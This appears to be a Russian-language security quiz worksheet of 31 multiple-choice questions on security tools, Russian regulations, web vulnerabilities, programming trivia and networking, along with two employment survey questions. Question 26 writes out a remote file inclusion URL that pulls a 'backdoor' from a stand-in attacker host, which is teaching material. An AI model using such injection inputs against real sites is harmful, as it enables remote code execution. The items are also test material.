NEW
Font size
S
M
L
XL
WorksheetsCS-PRACTICE
Total questions: 31
Worksheet time: 10mins
Name
Class
Date
1.
Что такое DLP система 🤯
a)
ПО для проведения внутреннего пентеста
b)
ПО для защиты компании от утечек информации
c)
ПО для анализа событий безопасности в компании
d)
ПО для создания сайтов в интернете
2.
Как расшифровывается популярная технология обеспечения ИБ — UEBA
a)
URL Entity Based Analysis
b)
Унифицированный электронный банковский анализ
c)
User and Entity Behavior Analytics
d)
Ultra Ethical Business Antology
3.
Какой ФЗ про безопасность КИИ?
a)
21
b)
149
c)
152
d)
187
4.
Как вы работаете?
a)
Полная ставка (40 часов)
b)
Неполная занятость (10-30 часов)
c)
Подрабатываю
d)
Не работаю
5.
Работаете ли вы по специальности?
a)
Да!
b)
Работаю в IT, но не в ИБ
c)
Работаю не по специальности
d)
Я не работаю
6.
Номер приказа ФСТЭК по защите ПД?
a)
11
b)
21
c)
31
d)
41
7.
Какой из этих HTTP-методов не существует?
a)
GET
b)
PUT
c)
SET
d)
TRACE
8.
0xA * 0xF = ?
a)
0xAF
b)
0x96
c)
ox228
d)
0xDEAD
9.
Нашумевший эксплоит для Microsoft Exchange Server
a)
Proxylogon
b)
Proxyhell
c)
Proxypass
d)
Proxychains
10.
Какая атака работает на стороне клиента?
a)
SQL-инъекция
b)
XSS
c)
SSTI
d)
XXE
11.
Что нельзя сделать через SQL инъекцию?
a)
Записать файл
b)
Исполнить код
c)
Прочитать данные
d)
Повысить привилегии
12.
Что из этого не интерпретатор Python?
a)
CPython
b)
Jython
c)
IronPython
d)
iPython
13.
Чего нет в C++?
a)
Интерфейсов
b)
Классов
c)
Лямбда-функций
d)
Шаблонов
14.
Где истина (JavaScript)?
a)
"0"===0
b)
"0x0"==0
c)
"0xe"==0
d)
0x0==='0x0'
15.
Что из этого не язык программирования
a)
Brainfuck
b)
Petooh
c)
JavaScript
d)
HTML
16.
Что работает не на CLR?
a)
C#
b)
VisualBasic
c)
JScript.Net
d)
C++
17.
Что из этого защитит от вирусов?
a)
ASLR
b)
AMSI
c)
ANSI
d)
DEP
18.
Слово test в base32?
a)
ORSXG5A=
b)
3yZe7d
c)
dGVzdA==
d)
FCfN8
19.
Что вернет Python выражение: ['1', 'b', '3', 'a'].sort() ?
a)
['1', '3', 'a', 'b']
b)
['a', 'b', '1', '3']
c)
None
d)
TypeError
20.
Где применима noSQL-инъекция?
a)
ClickHouse
b)
PostgreSQL
c)
Oracle RDBMS
d)
MongoDB
21.
Аналог интерфейсов в C++?
a)
Интерфейсные классы
b)
Виртуальные классы
c)
Абстрактные классы
d)
Шаблонные классы
22.
Что из этого не является фреймворком?
a)
React
b)
lodash
c)
Django
d)
Spring
23.
Какой архитектуры нет?
a)
MIPS
b)
Intel
c)
ARM
d)
SPI
24.
Что такое SOAR?
a)
Security, OpenSource, Administration, Risk
b)
Structural Obfuscation of Automated Response
c)
Security Orchestration, Automation and Response
d)
Security Operations Automation and Reduction
25.
Какой тип файлов меньше других используется для доставки нагрузки при социальной инженерии?
a)
png
b)
docx
c)
pdf
d)
zip
26.
http://example.com/page.php?file=http://hacker.com/backdoor - какая уязвимость?
a)
SQLi
b)
XSS
c)
LFI
d)
RFI
27.
Службы каталогов корпорации Microsoft для операционных систем семейства Windows Server
a)
Attack Defence
b)
Active Catalog
c)
Active Directory
d)
Directory Service
28.
Какой из этих протоколов НЕ используется для разрешения имен в сетях?
a)
LLMNR
b)
OSPF
c)
NetBIOS
d)
DNS
29.
Какая технология обеспечивает анализ и трекинг инцидентов ИБ?
a)
SSO
b)
SIEM
c)
CVSS
d)
IDS
30.
Какой из флагов TCP может обозначать подтверждение получения пакета?
a)
ACK
b)
CWR
c)
PSH
d)
FIN
31.
Что из перечисленного является инструментом для аудита безопасности паролей и восстановления паролей с открытым исходным кодом?
a)
Josh the Butcher
b)
Jack the Rogue
c)
John the Ripper
d)
Zubenko Mikhail Petrovich the Mafioznik
Reset
